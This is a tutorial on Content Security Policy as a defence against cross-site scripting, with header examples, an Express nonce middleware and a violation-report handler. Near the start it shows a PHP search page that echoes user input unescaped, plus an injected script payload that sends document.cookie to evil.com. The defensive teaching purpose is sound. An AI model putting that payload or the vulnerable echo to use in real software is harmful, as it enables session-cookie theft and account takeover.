Content Security Policy: Preventing Injection Attacks

Cross-Site Scripting (XSS) remains one of the most prevalent web vulnerabilities, consistently appearing in OWASP's Top 10. Despite decades of awareness, developers still ship code that allows...

Key Insights

  • Content Security Policy is your strongest defense against XSS attacks, but only when implemented correctly—overly permissive policies provide a false sense of security while offering no real protection.
  • Nonces and hashes eliminate the need for 'unsafe-inline', which is responsible for undermining most CSP implementations; invest the effort to implement them properly.
  • Always deploy CSP in report-only mode first; the violation reports will reveal integration issues and policy gaps before they break your production site.

Introduction to CSP

Cross-Site Scripting (XSS) remains one of the most prevalent web vulnerabilities, consistently appearing in OWASP’s Top 10. Despite decades of awareness, developers still ship code that allows attackers to inject malicious scripts into trusted pages. Content Security Policy (CSP) provides a browser-enforced security layer that can stop these attacks even when your application code fails.

CSP works by telling the browser exactly which resources are legitimate. When an attacker injects a script tag or inline event handler, the browser blocks it because it violates the declared policy. This defense-in-depth approach means a single coding mistake doesn’t immediately compromise your users.

Consider this vulnerable code:

<!-- Vulnerable search results page -->
<div class="search-results">
  <h2>Results for: <?php echo $_GET['query']; ?></h2>
</div>

<!-- Attacker crafts URL: /search?query=<script>document.location='https://evil.com/steal?c='+document.cookie</script> -->

Without CSP, the browser executes the injected script without question. The attacker steals session cookies, and your user’s account is compromised. With a proper CSP, the browser refuses to execute the inline script entirely.

How CSP Works

CSP operates through HTTP response headers. When your server sends a page, it includes a Content-Security-Policy header that defines the security policy. The browser parses this policy and enforces it for the entire page lifecycle, blocking any resource loads or script executions that violate the rules.

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'

When a violation occurs, the browser blocks the resource and optionally sends a report to a specified endpoint. This happens silently from the user’s perspective—they simply don’t see the malicious content execute.

For situations where you can’t control HTTP headers (static hosting, some CDN configurations), you can use a meta tag as a fallback:

<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self' https://cdn.example.com">

However, meta tags have limitations: they don’t support frame-ancestors or report-uri, and they must appear before any resources that need protection. Always prefer HTTP headers when possible.

Essential CSP Directives

CSP provides granular control through directives that govern specific resource types. Understanding these directives is essential for crafting effective policies.

The default-src directive sets the fallback policy for all resource types. Start restrictive and loosen only where necessary:

# Restrictive baseline - blocks everything except same-origin
Content-Security-Policy: default-src 'self'

# More permissive - allows specific CDNs
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; img-src 'self' data: https:; connect-src 'self' https://api.example.com

Key source list keywords:

  • 'self' — matches the current origin (scheme, host, and port)
  • 'none' — blocks all sources for this directive
  • 'unsafe-inline' — allows inline scripts and styles (avoid this)
  • 'unsafe-eval' — allows eval() and similar dynamic code execution (avoid this)

Here’s a progression from dangerously permissive to properly strict:

# BAD: Defeats the purpose of CSP entirely
Content-Security-Policy: default-src * 'unsafe-inline' 'unsafe-eval'

# WEAK: Still allows inline scripts
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'

# BETTER: No inline scripts, but eval still possible
Content-Security-Policy: default-src 'self'; script-src 'self'

# STRONG: Strict policy with nonces for necessary inline scripts
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self'; object-src 'none'; base-uri 'self'

Implementing Nonces and Hashes

The 'unsafe-inline' keyword is the most common CSP weakness. It exists because many applications rely on inline scripts and styles, but it also allows any injected inline code to execute. Nonces and hashes provide a secure alternative.

A nonce is a cryptographically random value generated fresh for each request. Your server generates it, includes it in both the CSP header and the legitimate inline scripts, and the browser only executes scripts with matching nonces.

// Express.js middleware for CSP with nonces
const crypto = require('crypto');

function cspMiddleware(req, res, next) {
  // Generate a cryptographically secure random nonce
  const nonce = crypto.randomBytes(16).toString('base64');
  
  // Store nonce for use in templates
  res.locals.cspNonce = nonce;
  
  // Set the CSP header with the nonce
  res.setHeader('Content-Security-Policy', [
    "default-src 'self'",
    `script-src 'self' 'nonce-${nonce}'`,
    `style-src 'self' 'nonce-${nonce}'`,
    "object-src 'none'",
    "base-uri 'self'",
    "frame-ancestors 'none'"
  ].join('; '));
  
  next();
}

app.use(cspMiddleware);

In your templates, apply the nonce to inline scripts:

<!-- EJS template example -->
<script nonce="<%= cspNonce %>">
  // This inline script will execute because it has the correct nonce
  initializeApp({ userId: '<%= user.id %>' });
</script>

<!-- Injected script without nonce - BLOCKED -->
<script>stealCookies();</script>

For static inline scripts that never change, hashes provide an alternative. You compute the SHA-256, SHA-384, or SHA-512 hash of the script content and include it in your policy:

# Hash-based allowlist for a specific inline script
Content-Security-Policy: script-src 'self' 'sha256-RFWPLDbv2BY+rCkDzsE+0fr8ylGr2R2faWMhq4lfEQc='

Generate hashes with OpenSSL:

echo -n "console.log('Hello, World!');" | openssl dgst -sha256 -binary | openssl base64

Reporting and Monitoring

CSP reporting transforms security from reactive to proactive. When violations occur, the browser sends detailed reports to your specified endpoint, alerting you to both attacks and policy misconfigurations.

Content-Security-Policy: default-src 'self'; script-src 'self'; report-uri /csp-report; report-to csp-endpoint

The report-to directive uses the newer Reporting API, which requires a Report-To header:

Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"https://example.com/csp-report"}]}

Here’s a report endpoint handler:

app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
  const report = req.body['csp-report'];
  
  // Log the violation
  console.log('CSP Violation:', {
    documentUri: report['document-uri'],
    violatedDirective: report['violated-directive'],
    blockedUri: report['blocked-uri'],
    sourceFile: report['source-file'],
    lineNumber: report['line-number'],
    columnNumber: report['column-number']
  });
  
  // Store in your monitoring system
  metrics.increment('csp.violation', {
    directive: report['violated-directive'],
    blocked: report['blocked-uri']
  });
  
  res.status(204).end();
});

A sample violation report looks like this:

{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "referrer": "https://example.com/",
    "violated-directive": "script-src 'self'",
    "effective-directive": "script-src",
    "original-policy": "default-src 'self'; script-src 'self'; report-uri /csp-report",
    "blocked-uri": "inline",
    "status-code": 200,
    "source-file": "https://example.com/page",
    "line-number": 42,
    "column-number": 8
  }
}

Use Content-Security-Policy-Report-Only to test policies without enforcement:

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report

Common Implementation Pitfalls

The most dangerous CSP mistake is creating policies so permissive they provide no protection. I’ve audited applications with policies like script-src 'self' 'unsafe-inline' 'unsafe-eval' https: that block nothing meaningful.

Third-party integrations frequently cause CSP headaches. Analytics scripts, chat widgets, and advertising code often require specific domains and sometimes 'unsafe-inline'. Document these requirements and add only the minimum necessary permissions.

Legacy code with inline event handlers requires refactoring:

<!-- BEFORE: Inline event handler - blocked by strict CSP -->
<button onclick="submitForm()">Submit</button>

<script>
function submitForm() {
  // form submission logic
}
</script>

<!-- AFTER: External event binding - CSP compliant -->
<button id="submit-btn">Submit</button>

<script nonce="abc123">
document.getElementById('submit-btn').addEventListener('click', function() {
  // form submission logic
});
</script>

Deployment Strategy

Never deploy CSP directly to production enforcement. Start with report-only mode, collect violations for at least a week, analyze the reports, and iterate on your policy.

Phase 1: Deploy report-only with a permissive policy to establish a baseline.

Phase 2: Tighten the policy based on legitimate resource usage observed in reports.

Phase 3: Switch to enforcement mode while maintaining reporting.

Here’s a production-ready CSP configuration for a typical web application:

// Production CSP configuration
const cspPolicy = {
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "'nonce-{NONCE}'", "https://cdn.example.com"],
    styleSrc: ["'self'", "'nonce-{NONCE}'", "https://fonts.googleapis.com"],
    fontSrc: ["'self'", "https://fonts.gstatic.com"],
    imgSrc: ["'self'", "data:", "https://images.example.com"],
    connectSrc: ["'self'", "https://api.example.com"],
    frameSrc: ["'none'"],
    objectSrc: ["'none'"],
    baseUri: ["'self'"],
    formAction: ["'self'"],
    frameAncestors: ["'none'"],
    upgradeInsecureRequests: [],
    reportUri: ["/csp-report"]
  }
};

CSP is not a set-and-forget security measure. Monitor your violation reports continuously, update policies as your application evolves, and treat any unexpected violation as a potential security incident worth investigating.

Liked this? There's more.

Every week: one practical technique, explained simply, with code you can use immediately.